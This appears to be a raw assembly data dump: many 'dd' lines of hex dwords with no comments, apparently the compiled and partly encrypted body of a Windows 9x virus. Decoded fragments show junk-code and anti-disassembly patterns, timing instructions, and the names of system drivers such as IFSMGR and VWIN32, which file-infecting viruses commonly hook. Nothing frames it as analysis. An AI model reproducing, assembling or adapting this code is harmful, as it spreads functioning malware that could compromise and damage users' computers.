		dd 5F59572Ch, 61C78B66h, 6880Fh, 85890000h, 62B2599h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0DCC35747h, 0F5610DEh
		dd 0D84h, 8E900h, 98370000h, 35E67CACh,	0B58DA1BCh, 62E81C0h
		dd 0D4DE8060h, 0A9DB4CB8h, 0BD8D611Fh, 62B2201h, 0FEB70F60h
		dd 806114B4h, 840F003Eh, 88h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 81C35141h, 27F27AA9h, 0D494C997h
		dd 10E968h, 5B1F0000h, 122C875Eh, 731E74CFh, 70186DF4h
		dd 6AA42527h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 21F5C357h, 0BD89CEC9h,	62B2D49h
		dd 0FFFF92E9h, 53006AFFh, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 0E59D8947h, 0F5062B1Fh
		dd 890FC02Bh, 0Eh, 2CDA8160h, 895AEE4Fh, 2B1EEDBDh, 6AAA6106h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0E424C353h, 0D0B112C6h, 11BD897Dh, 89062B0Bh
		dd 2B28CD8Dh, 7B806h, 5E90000h,	23000000h, 0DF596D07h
		dd 0E5BD8B60h, 29062B32h, 2B1AADBDh, 85C76106h,	62B08B5h
		dd 1, 0A18D8DF5h, 6A062B4Eh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 0A2CAC353h,	0E1FFF556h
		dd 1AB59D01h, 5C8B062Bh, 0E8550C24h, 0
		dd 44ED815Dh, 8B062E99h, 0B883h, 0C4858900h, 8D062E7Fh
		dd 2E974185h, 0B8838906h, 5D000000h, 0E9C3C033h, 10h, 0D31ED412h
		dd 5425BC19h, 0DD3C8A49h, 4CE0845Bh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0A0C35545h,	257CC1F0h, 55006A60h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 9E9E1h, 7BD80000h, 24AC600Dh, 8DA60044h, 2E9BD085h
		dd 0BE906h, 0F0F90000h,	52AE580h, 0B34B6CE6h, 810F6088h
		dd 6, 830Fh, 0DE8B0000h, 52505061h, 7E9h, 849C1600h, 73854E53h
		dd 5250310Fh, 0AE9h, 9BC21C00h,	41C9AA38h, 0FEA8D4Ah, 8E0F31h
		dd 5A000000h, 89585A58h, 6A2404h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 64FCD8C3h, 35FFh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0B72DDCC3h, 785AEBE3h, 719D29F5h, 89062B34h,	2B26498Dh
		dd 25896406h, 0
		dd 13E9h, 64BE4D00h, 71145E16h,	68B84739h, 0D0A33DF2h
		dd 0B5A850FFh, 9C86858Dh, 6A062Eh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 76BD4DC3h, 9153BDD8h
		dd 8927EEB3h, 2B1C69BDh, 1608906h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 84C35747h, 0E60CE044h, 0FC423245h
		dd 1850Fh, 0C6F50000h, 2B332D85h, 6A4F06h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 8C5E3EC3h
		dd 3C68BD56h, 0E98C50CAh, 8, 0EC6EB4E7h, 0FBA50BDDh, 0EE240481h
		dd 6A7277A9h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 0F2EC351h, 0D85h, 8E900h, 35E00000h
		dd 83FE8D16h, 0B5FFB9FEh, 62B1BDDh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 0CDC35343h,	0C28BF5h, 6890Fh
		dd 0B5090000h, 62B01FDh, 5E9h, 80864A00h, 858DE69Bh, 62E83EBh
		dd 2B7D8529h, 0D0FF062Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 0D3C35343h, 901BA061h, 0B7E9975Ch, 0F8000000h
		dd 0C245C8Bh, 0E855h, 815D0000h, 2E9BDAEDh, 1D858B06h
		dd 89062B0Bh, 2B1BDD85h, 19858B06h, 89062B2Fh, 2B018185h
		dd 9858B06h, 89062B18h,	2B0A5D85h, 2D85C606h, 62B33h, 859D85C7h
		dd 62Eh, 858D0000h, 62E9C86h, 0B88389h,	335D0000h, 8B0FC3C0h
		dd 1Eh,	18850Fh, 13E90000h, 49000000h, 7828DFACh, 9019AF08h
		dd 0FB08C4CAh, 3BCBE583h, 6A312Eh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 3B040EC3h, 17820F71h
		dd 0E9000000h, 12h, 7B6D69C5h, 0EA774680h, 0E6271B65h
		dd 80124FBEh, 74BC5CB7h, 0F50012FFh, 7840Fh, 8B0F0000h
		dd 1, 58F64FCh,	0
		dd 2A958589h, 83F5062Bh, 6A04C4h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 0E73112C3h, 0ECFDB8E2h
		dd 4934EB61h, 474D5346h, 56202052h, 2020444Bh, 56202020h
		dd 20204D4Dh, 56202020h, 334E4957h, 56202032h, 444C4458h
		dd 202052h, 2 dup(0)
		dd 0E9000000h, 78Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 0D4C35646h, 7D98DE54h, 0C8C0Fh, 8F0F0000h
		dd 6, 830Fh, 6A600000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 0B45C350h, 85C73C2Dh
		dd 62E9CF7h, 0
		dd 0F52F860h, 89h, 8B615A00h, 1830FC6h,	0F8000000h, 0FD8B70Fh
		dd 0F86h, 0AE900h, 58850000h, 204E7B3h,	70CBFC3Eh, 6A10E8C1h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0EA27C356h, 58506060h, 61D3B70Fh,	0BE9h
		dd 80E1D100h, 0A5C844ACh, 0FA52A1DAh, 0DE961h, 8110000h
		dd 0C6C02A3Eh, 3A0F966h, 66FA384Bh, 6008C8C1h, 66F3BF0Fh
		dd 61A496BAh, 9CFB8589h, 6A062Eh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 606019C3h, 80DFBF0Fh
		dd 0F61E5F7h, 682h, 5CD98100h, 6169D616h, 56EF8A60h, 0C166615Ah
		dd 6A08CBh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 2F2E91C3h, 83F8CDFEh, 850F40FBh, 47h, 0D800Fh
		dd 0F600000h, 84h, 0BCC3B900h, 8D6123EEh, 2E9CCFBDh, 148D0F06h
		dd 0E9000000h, 0Fh, 0BD32EE44h,	0ADCFC135h, 0EB309D2Ah
		dd 0F1D7251h, 886h, 28C0F00h, 60000000h, 1FAE961h, 83FC0000h
		dd 850F0DFBh, 7Eh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 0ECC35040h, 0A07B4D3Dh, 0B8BBD635h, 9CD7BD8Dh
		dd 6A062Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 63BB2FC3h, 9F3C2C19h, 0AE9C3h, 3CE10000h
		dd 3CC22FE2h, 1A0208D5h, 18FE9h, 17800F00h, 0E9000000h
		dd 12h,	0CFC3368Eh, 650019FFh, 196865F9h, 0A3EE8EBh, 0FB83915Ch
		dd 87850F01h, 0E9000000h, 0Ch, 0F1932ECDh, 604F5CA8h, 0E7A2D59Eh
		dd 9CDFBD8Dh, 6A062Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0FB7BBEC3h, 8B6F52B4h, 0DE9h, 0D749EB00h
		dd 0C443050h, 6C68720Ah, 60F8F985h, 38C0Fh, 0BF0F0000h
		dd 0DE961F0h, 6A000001h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 0B873C356h,	6827BD04h
		dd 0BA6660CBh, 8B66E9FDh, 0FB8361FAh, 80850F2Ah, 0F000000h
		dd 1C80h, 0F28B6000h, 12E8h, 4EA00E00h,	65A4EAD4h, 7E14CD15h
		dd 281E1B76h, 5A459D31h, 0E7BD8D61h, 6A062E9Ch,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 0BF25C350h, 0F70890E7h, 8E9h, 0A867EE00h, 767663E2h
		dd 0BE9E3h, 52CB0000h, 0CA55E1ECh, 0B797E517h, 6EE9EDh
		dd 10E90000h, 0A0000000h, 526818B5h, 39E0373Bh,	9BAC4500h
		dd 83AB6F72h, 850F27FBh, 308h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 30C35343h, 0C712F4A2h, 0F6017F9h
		dd 61FCCABFh, 4800Fh, 57600000h, 0DE9615Eh, 57000000h
		dd 217ABEEBh, 40AEDBA0h, 2F77F1C8h, 9CEFBD8Dh, 6660062Eh
		dd 613289B8h, 9CFFBD89h, 6A062Eh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 46D054C3h, 0FC88C66h
		dd 780h, 1850F00h, 0F9000000h, 6A0324h,	3E857h,	5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 14E9B2C3h
		dd 0A4000000h, 5085ED38h, 362371BEh, 0F4033B0Eh, 0E394BE7Dh
		dd 0A931DB6h, 11850FC0h, 6A000002h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 86D7C351h
		dd 9C3E22CBh, 0F60D12Ch, 0C9BAC3BFh, 6151CB97h,	0A39DB58Dh
		dd 6A062Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 2FD828C3h, 0B3481BF8h, 61F560D7h,	0A434858Bh
		dd 50F8062Eh, 52505250h, 310F5250h, 310F585Ah, 310F5250h
		dd 585A585Ah, 840F310Fh, 18h, 13E9h, 0AF682B00h, 0F8BE79h
		dd 5FA454CAh, 0FC23D702h, 0D3D87CFEh, 1489585Ah, 56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 139BBBC7h, 8B66609Eh, 48BE66F2h, 666061D7h, 4407EF81h
		dd 2800Fh, 0D08A0000h, 4C010F61h, 6AFE24h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 4FC513C3h
		dd 52006A5Ah, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0F98B60FDh, 8E0F60h, 66000000h, 6161D68Bh
		dd 10880Fh, 0E9600000h,	6, 3779A661h, 0E6802EBEh, 0C28361C2h
		dd 51006A24h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0F6BFAEA0h, 0E040D678h, 800F60A8h, 2, 60615B51h
		dd 0FFBB360h, 81h, 0E9536100h, 13h, 0B6C5A840h,	4793E45Fh
		dd 0B6C70962h, 0C8248029h, 58BA0D85h, 72896661h, 50006AFCh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 9A6AF3BEh, 10CEC1F9h, 4EB86660h, 61D78B27h, 2728966h
		dd 6E9h, 80859D00h, 0E906D960h,	0Bh, 5F3EB7D2h,	0B5B9AFCh
		dd 0CD981C6Bh, 16830F04h, 0E9000000h, 11h, 0DDDA6918h
		dd 0CBF7D619h, 9640FC2Dh, 7E8EA30h, 3BE998h, 820F0000h
		dd 0Ch,	6890Fh,	840F0000h, 0
		dd 0A434858Bh, 8DF9062Eh, 2EA39DB5h, 858DFC06h,	62E5A35h
		dd 0DE9h, 9FAB5500h, 739390B8h,	0B662425Bh, 0D0FFCADEh
		dd 0F78589F5h, 0F8062E9Ch, 61FE8B60h, 51006A61h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
		dd 12E93FF8h, 0F5000000h, 2A877C5Bh, 0BFF7FA2Fh, 91CD4019h
		dd 28B5B065h, 0F7858B2Eh, 0F062E9Ch, 18Fh, 0F8C3F800h
		dd 7880Fh, 8C0F0000h, 1, 6A60F8h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 92364FC3h, 16753170h
		dd 0A434BD83h, 0F00062Eh, 5685h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 64964CF7h
		dd 10E95C6Eh, 24000000h, 9A350C25h, 72215CBAh, 6E588A4Dh
		dd 0C7523FC8h, 2EA43485h, 1013F06h, 10860F00h, 0F000000h
		dd 0A8Dh, 5E900h, 1D6C0000h, 0E90567C1h, 0Ah, 0DE805260h
		dd 0B70F5B83h, 20CD61D9h, 0
		dd 3774C00Bh, 8B0C708Dh, 2E9CFFBDh, 8B906h, 75A60000h
		dd 0FA754922h, 8B30488Bh, 2E9CFB9Dh, 34583B06h,	0D38B157Fh
		dd 304D26Bh, 89018BCAh,	2E9CF785h, 8B04EB06h, 61C5EB00h
		dd 9CF7858Bh, 60CF062Eh, 61F88BF9h, 11E9h, 765CA100h, 293AE779h
		dd 44755BCh, 44DDE7E2h,	0C08B72DBh, 148E9h, 5000h, 5400h
		dd 5800h, 5C00h, 6000h,	6400h, 6800h, 6C00h, 0B000h, 0B400h
		dd 0B800h, 0BC00h, 0C000h, 0C400h, 0C800h, 0CC00h, 0D000h
		dd 0D400h, 0D800h, 0DC00h, 0E000h, 0E400h, 0E800h, 0EC00h
		dd 38h dup(0)
		dd 576BA500h, 0A050EB00h, 9D858D00h, 66062EA4h,	8EECB81h
		dd 0A5DD8589h, 8589062Eh, 62B2641h, 332D85C6h, 5754062Bh
		dd 0B8D683B9h, 43685B14h, 0E871192Bh, 11h, 2B7B8EF8h, 45CA1387h
		dd 472C0AAEh, 9AC935B5h, 66525026h, 310FF88Bh, 8A0Fh, 585A0000h
		dd 2404815Ah, 7D493CE6h, 28D5B531h, 0B5FF062Bh,	62B1BDDh
		dd 68C0Fh, 8D090000h, 62B0911h,	0C5BB6660h, 58D0FFBh, 66000000h
		dd 110DE781h, 0EB858D61h, 0E9062E83h, 0Ah, 32577986h, 79AC434Ch
		dd 0D0FFE60Dh, 85895B53h, 62EA5E1h, 8D9D8B50h, 59062B02h
		dd 78E9h, 0DE800h, 82F0000h, 0C3C8A27Ch, 7EC2D139h, 29E55114h
		dd 2B0841BDh, 8B565E06h, 2EA5DDB5h, 83068906h, 2EA5DD85h
		dd 0C35E0406h, 9DB58D60h, 0EB062EA4h, 6A560Fh, 95FF36FFh
		dd 62EA5E1h, 4C6835Eh, 75003E83h, 0FC361ECh, 1A80h, 0EE800h
		dd 8FF30000h, 86557596h, 0E4CF8259h, 7CB9B5C3h,	800Fh
		dd 0F5F0000h, 684h, 398D8B00h, 0B1062B02h, 0BC858DFEh
		dd 8B062EA6h, 2B2BA195h, 9D858906h, 0E8062B0Fh,	12h, 0D137B2C2h
		dd 10365DD0h, 45A9E23Eh, 0DC7A5BCBh, 0B58B1F93h, 62B10EDh
		dd 81FA8B5Ah, 687CC2h, 3E1CBF00h, 68601Ch, 0FC000000h
		dd 0EA3BE5Bh, 0C8B23BBh, 0FEBF0F1Ah, 0CF05C181h, 0B70F0122h
		dd 0EDF181F9h, 896E67C5h, 2B176D95h, 10F18106h,	8912BDF0h
		dd 2B192D9Dh, 830F5106h, 6, 28B1BD89h, 48F062Bh, 3245BE1Ah
		dd 858950E7h, 62B2E15h,	8102EB83h, 0BDABE3E6h, 0E94B4B4Eh
		dd 0Ah,	7CB2993Fh, 0B9F20C8Ch, 0FB8176B3h, 0FFFF9854h
		dd 1E850Fh, 9D890000h, 62B0B3Dh, 2FE9h,	0D5F23000h, 0B2BDF1EEh
		dd 0A94EEF18h, 35F07499h, 0C2760726h, 7B18529h,	6FE9062Bh
		dd 2AFFFFFFh, 0DB9C9BE6h, 1D2D126Ah, 5D26DB58h,	53225E3Ch
		dd 0ECE9h, 328BCE00h, 55C974Ah,	0A188838Ah, 0E0A1D76h
		dd 538FDD7Ah, 2F6D3733h, 773D557Dh, 7DD57F2Dh, 3D577DD7h
		dd 75DF6DF7h, 7DD773D5h, 0EDF73D57h, 5375D55Fh,	2F6D3733h
		dd 773D557Dh, 7DD57F2Dh, 1E577DD7h, 75DF6D17h, 60206020h
		dd 0E0E02020h, 68AC2060h, 0E4A9F77Bh, 0B2D020A1h, 0B7EDA693h
		dd 0F291B99Dh, 6020ACA3h, 60206020h, 0E0E02020h, 53752060h
		dd 2F0D0A33h, 6020557Dh, 60206020h, 362BA728h, 60C950F0h
		dd 0A1EFB6F3h, 0B4E0F796h, 92B8E3A7h, 0E9B3F471h, 60F76DB9h
		dd 60206020h, 20206020h, 1ADF6DF7h, 7DD77335h, 0EDF73D57h
		dd 5375D55Fh, 2F6D3733h, 773D557Dh, 7DD57F2Dh, 3D577DD7h
		dd 75DF6DF7h, 7DD773D5h, 0EDF73D57h, 5375D55Fh,	2F6D3733h
		dd 0A1E357Dh, 3407000Eh, 0A0A3D25Dh, 1E59h, 0
		dd 0C8FE900h, 12680000h, 0E9062EABh, 0FFFCD6C4h, 2EABDE68h
		dd 0D6BAE906h, 0AD68FFFCh, 0E9062EACh, 0FFFCD6B0h, 2EAD6F68h
		dd 0D6A6E906h, 1168FFFCh, 0E9062EAEh, 0FFFCD69Ch, 2EAEC968h
		dd 0D692E906h, 4F68FFFCh, 0E9062EB0h, 0FFFCD688h, 2EB15268h
		dd 0D67EE906h, 3968FFFCh, 0E9062EB2h, 0FFFCD674h, 2EB2E868h
		dd 0D66AE906h, 0D868FFFCh, 0E9062EB3h, 0FFFCD660h, 444084D9h
		dd 9410342Bh, 27E3E57Bh, 73AF89C8h, 0BC784214h,	4D158E71h
		dd 0FA60BF7Bh, 0AEB3CCC8h, 47011E9Ah, 58F7A561h, 0C569A24Ch
		dd 7951D792h, 3F22C781h, 5B35F1DAh, 0AAC6252Dh,	6264FA41h
		dd 3955F189h, 5B6DF3AEh, 1C4EE00Ch, 1F0394EBh, 55301FEEh
		dd 70FA0613h, 594EB1Ch,	0C12F915h, 0EED8829Dh, 0BFF081Dh
		dd 0F8BADA7h, 0C282AE1Eh, 0F11F48E4h, 8AC657E8h, 0ED309B87h
		dd 36514D6Bh, 1DB3183Eh, 6D3E668Ch, 98C1DC73h, 0F23B47A4h
		dd 37317549h, 0FA7A9511h, 662FC1EFh, 3C226D3Eh,	7CF44BA0h
		dd 0EDEF9D89h, 13AF286Eh, 10F469B8h, 0FCDA9Ah, 0DFF97817h
		dd 1CBB720Ch, 776CB252h, 4DC0Ah, 0C781D400h, 0A2093F22h
		dd 54AB009Ch, 4FFE3A1Ch, 0D665F2FFh, 4BA0A4BBh,	47DAF637h
		dd 5E8AC6DEh, 57E5EBC0h, 1D6D3F3Eh, 0F9C397F2h,	7331730h
		dd 776BDB6Bh, 3113h, 1F6FBF00h,	727785D2h, 0D8AC6EAh, 8412BE0Dh
		dd 0CE6D3F2Ah, 4B275337h, 89776BC4h, 265CEEFAh,	0FA316D3Fh
		dd 87B19EF3h, 0DFC182Dh, 0CD78h, 12715A00h, 6CB37A4Ch
		dd 52F9D2F4h, 0C037B9C7h, 0D44A94EBh, 0B294CAD5h, 64420259h
		dd 97CDC887h, 0C5C45AB1h, 609CBABAh, 543D68F7h,	13A62E0Bh
		dd 8FC76977h, 0A4BA94EBh, 93AE6B65h, 3B3D94EBh,	1B76E11Dh
		dd 96A80345h, 8BB13B49h, 5AC494EBh, 32144C53h, 0D71C6CD9h
		dd 0AE6D7C88h, 1E008AC6h, 0D61B6BE2h, 31627B89h, 2535730Ch
		dd 28602FBAh, 0C51D26B0h, 0F0D48BE4h, 7B86071Bh, 0C621DDE7h
		dd 0EF04AE90h, 0EE505634h, 9C42A3Dh, 0CA930000h, 7EE502FEh
		dd 2F35524Eh, 0C3829D19h, 88CE29E5h, 480F7AB6h,	75B18BCFh
		dd 8A06401Ah, 0D4D0F46Dh, 639FB9BBh, 0E48692B9h, 9992C56Bh
		dd 0D981C79Bh, 5B1D78E7h, 1990AE7Dh, 2C0A4AA5h,	1F6FECF0h
		dd 727785D2h, 0D8AC6EAh, 8412BE0Dh, 0CE6D3F2Ah,	0C9FF6221h
		dd 81BB9FE2h, 0C7BBA465h, 0ECE17413h, 3F2A2EC0h, 0A33F236Dh
		dd 0C4036F6Ah, 9EBB776Bh, 0AC000000h, 775468F1h, 81A422EBh
		dd 0B70AE1C7h, 9E3299A3h, 94EBDC83h, 0B470560Eh, 0EC3F195Bh
		dd 27210F7Fh, 6E7AE501h, 75391943h, 566AEF32h, 4D49E575h
		dd 0D8076CDCh, 0DE5C2CCh, 0FC6BF773h, 1A2C3251h, 2160A9B1h
		dd 6C8B0739h, 53A2D0EAh, 3E505709h, 8F87AEDh, 0FE5F0000h
		dd 0AAB1CECAh, 5B011E9Ah, 174EA965h, 0C49AF531h, 4FB0682h
		dd 1FDC79Bh, 565274E6h,	0E01C2039h, 2FEBCD87h, 38B2DE6Dh
		dd 4D92C56Bh, 0D981F3D7h, 0D2C99C34h, 0ED355117h, 427B4DE6h
		dd 20DC7894h, 6FAB8DC7h, 0E1C7816Bh, 0ACB8470Ah, 94EBC002h
		dd 0BE873877h, 0B63685FDh, 0D48C931Ah, 891CF121h, 0C66297D9h
		dd 0BC8F62CAh, 0ACB8274Ch, 8AC6EE29h, 6B5D015Ch, 0B645D0CFh
		dd 0C40EFECBh, 7D1736Ch, 6D3EAA65h, 9870618h, 6A712641h
		dd 0F6023E8Eh, 6FE73574h, 6AF51109h, 0CA11D75Eh, 62F79271h
		dd 52CCAF5Eh, 777CCC79h, 853BDCE8h, 0D04E7E3Bh,	0FD501887h
		dd 3E21A7Eh, 4808878Ah,	1355B26Eh, 94788F35h, 0C211554Ah
		dd 8298Bh, 152F2C00h, 0E5DB7E99h, 0B48ACE29h, 241F78h
		dd 0CDF76B84h, 68F5A4D1h, 0B7D0CCF6h, 6619DA7h,	54B36F51h
		dd 1CFE3A1Ch, 6C4FE10Fh, 60292C5h, 4C127122h, 0F46CB37Ah
		dd 907B4D11h, 0A6E5728Eh, 891C8DB3h, 0D8076CDCh, 81335E4Dh
		dd 7C6EE3C9h, 0E7E6038Dh, 0F1698AC6h, 0AFC43435h, 91E81420h
		dd 0CE3D730Eh, 0BAA586E7h, 0A02F4B2Dh, 494563E5h, 0AB9DC3DEh
		dd 0B0CF3E40h, 3B0D55B0h, 0D9324ED0h, 88D71C6Ch, 86B89EFDh
		dd 0FC941525h, 797CD169h, 26B5223Ch, 74D3F56Bh,	6D0DDEE0h
		dd 0C5E365BCh, 90B6AEC9h, 0B5BA0A3Bh, 0E5931E2Ah, 0B3EE67BEh
		dd 2E309BADh, 90223CFFh, 5CB14999h, 6784CF1Ch, 0EE000007h
		dd 405F5B6Dh, 90EF2B1Dh, 0E13EFACCh, 2D4A4666h,	6A971335h
		dd 12342AB7h, 0E3E57996h, 0AD97C827h, 785E1671h, 2331DEBCh
		dd 92C56D89h, 716078FCh, 907B4D12h, 9AAAB18Eh, 5D92E213h
		dd 0D75967F2h, 0AA94EBC0h, 0EDDE777h, 3AD5D470h, 0DA789F2Eh
		dd 0FF68F68Ah, 0FEC82550h, 0B38AF982h, 18C2BA84h, 24E50113h
		dd 41BD9BDDh, 0DF082E26h, 163F38D0h, 32FBC722h,	0AE82F263h
		dd 341053B6h, 0DC2F4BD7h, 4F79E542h, 9998A433h,	0F473170Bh
		dd 3D8EAEA9h, 29457BDEh, 6334678Dh, 36E55057h, 6C51Fh
		dd 0F9CB9000h, 497FE23Dh, 182E324Dh, 0E4C0839Ch, 0B18BCF28h
		dd 0CC490875h, 1B74B08Ah, 6A850143h, 0B8D7D3F5h, 0B8629EB8h
		dd 6EEB8593h, 9A9E92C5h, 111F6FC6h, 89917A4Ah, 26D6E26Dh
		dd 138ADA77h, 0F2D9E374h, 7793B5AFh, 0FC6BF7B6h, 581A7A1h
		dd 34C6AEAh, 3E8D284h, 4EFF8E7Fh, 2B66F1FEh, 0A7BB1034h
		dd 48DDEB66h, 33730B2Fh, 0C1141344h, 3941AA9Ah,	0BEDA8F4Eh
		dd 25B2AC4Fh, 0CCC8EE66h, 4897B1B3h, 561DAFBDh,	0EE706749h
		dd 8FFF6C3Fh, 56A94351h, 42DC6749h, 7F2AB926h, 0F73977Bh
		dd 0C3CD3CE5h, 79647CD6h, 85A3A2F9h, 0B2E2DB69h, 0AC7F5686h
		dd 60DA5h, 31134800h, 81C79AF5h, 5076EA05h, 1C383B54h
		dd 0E9D387E0h, 8411C02Dh, 0D32CE8D2h, 227DB98Bh, 708F0B3Dh
		dd 0DAD6F0h, 6E53DDEBh,	222692C5h, 0E1C7810Eh, 9BBDB70Ah
		dd 1993A14Ch, 6C94EBC0h, 0FBCD95F2h, 239F0E10h,	4A95DA2Ah
		dd 0C01F91BFh, 2F7294EBh, 0ABB71428h, 65739E0Fh, 8AC6DEDCh
		dd 0D0EA6CB3h, 42DEE277h, 0DFE17615h, 4D15720Ch, 6CE3B27Bh
		dd 52C92A31h, 0B0241883h, 0EDCAB5D1h, 0D10AB72Fh, 0C06E62ABh
		dd 8A6D3F73h, 0A3C1E7Dh, 0B813352Dh, 0AFE67A6h,	6B9092DCh
		dd 514A77h, 6F940000h, 0C043011Fh, 5CEBEF1Fh, 0FC0897C0h
		dd 94EBD572h, 6C2C1B07h, 7527E2F8h, 0C1837F6h, 8AC6A2E5h
		dd 0A7258698h, 6D3EF119h, 0B0DEA253h, 776C0AB6h, 0BADF6914h
		dd 0FD0655E3h, 3E315DEFh, 922E306Dh, 31B53745h,	56C86D3Eh
		dd 0E0C257h, 810C0000h,	1B76E1C7h, 0F98C7D47h, 37B9C752h
		dd 4A94EBC0h, 94CAD5D4h, 97F259B2h, 0F00FFEC2h,	0D6755670h
		dd 68A1A3BBh, 0A7BA5F19h, 98344AA1h, 0DC97721Ch, 0B7D294EBh
		dd 2E309BBDh, 86A0A0FFh, 4D6BED0Ah, 0EFD18702h,	8EFE6F3Eh
		dd 0D7EAF661h, 0C2753970h, 5CAF91C7h, 3628CBC2h, 0EE0373FAh
		dd 24C6D261h, 596D3F07h, 3B49C8C1h, 730DC7C9h, 0B6D5021Ch
		dd 2D4D9EA0h, 203655FCh, 61C2C1CDh, 6A869495h, 0F40951AEh
		dd 0B63C5862h, 50566199h, 8758F320h, 0CE000004h, 207FBB8Dh
		dd 708F0B3Dh, 0C1DEDAECh, 0D6AA686h, 4AB77355h,	72540A97h
		dd 0C30559B6h, 8DB7A8C7h, 587EF611h, 4351FE5Ch,	92C570A9h
		dd 818058DCh, 3C2BE7D9h, 5009FA61h, 0C6D9D06Ch,	0E36CA88Eh
		dd 0C0A64854h, 47DB94EBh, 1F6F4046h, 201685D2h,	7082290h
		dd 6AF91891h, 0B6152F2Fh, 0F3DC337Bh, 0DE7ACDD1h, 0DD88A12Fh
		dd 5BC78AC6h, 0FAEDD70h, 143C2D7Ch, 2EBCD4D5h, 0DF6D3E6Fh
		dd 18674478h, 0F9AD7E58h, 21F57C40h, 74FE2C10h,	28776C88h
		dd 0A7h
		dd 0E1C781AAh, 99A3B70Ah, 0DC839E32h, 560E94EBh, 195BB470h
		dd 0F7FEC3Fh, 0D7BB7B31h, 0ABC7E15Eh, 72F2913Ch, 8CEB7754h
		dd 953BF2D4h, 75390F8Ch, 0A695008Fh, 109683D3h,	88041A99h
		dd 933C3181h, 8F5C66F4h, 9173AF3h, 730D4AFCh, 45408F93h
		dd 5274E81Dh, 0C7AB3279h, 5648E589h, 5629E3Ah, 0F8D96B5Dh
		dd 6D5057ADh, 38497BEh,	8AD30000h, 3E2542BEh, 0EF75920Eh
		dd 83C2DDD9h, 480E69A5h, 884FBA76h, 0B5714B0Fh,	0CAC6005Ah
		dd 1490B4ADh, 0A35F79FBh, 0A44652F9h, 0D992C571h, 0D981875Bh
		dd 94CC2BE7h, 816276B2h, 0EB76E1C7h, 0C0BE305Ch, 4FD394EBh
		dd 0EBC0EF81h, 672F6294h, 0BF7EE78Dh, 0D3A26B87h, 36F2D48Ch
		dd 9AEA6116h, 17243D86h, 0B3FCA81Fh, 0D48CA7C6h, 72DD7910h
		dd 0C64DEF66h, 517F0A8Ah, 6D3E4DDFh, 1523ACB2h,	6D3E4D9Bh
		dd 0FAB970EEh, 0F1BCAB64h, 386AC2A8h, 0C8C8C166h, 0D1041482h
		dd 0E7707DCDh, 1FC82D58h, 0DE236FA2h, 0E90A12Fh, 63FFDF59h
		dd 66BDB88h, 0A4F4AD9h,	1A45D536h, 9F0F7C0Eh, 800911DBh
		dd 0AE9317F0h, 0BB243AC5h, 0E8D7612Ch, 1D14009Bh, 36D395ECh
		dd 0ACB2193Fh, 0F97B9410h, 7E8E55DFh, 3CEFFAB7h, 29D15h
		dd 0A1A3B800h, 71570A65h, 0C0065AB5h, 8CA8ABC4h, 5963F710h
		dd 0F461505Dh, 435C5862h, 92ED291Bh, 0E03FFBCDh, 904A4660h
		dd 72C36D7Bh, 0B2B692C5h, 22C7819Eh, 19F20E38h,	4897DC2Ch
		dd 0C01DAFBDh, 0EE7094EBh, 1104103Fh, 348AC6F4h, 9F5EEE2Ah
		dd 0C8175CACh, 0C1E75E3Dh, 0C7EB54EAh, 1182A741h, 5FF69A13h
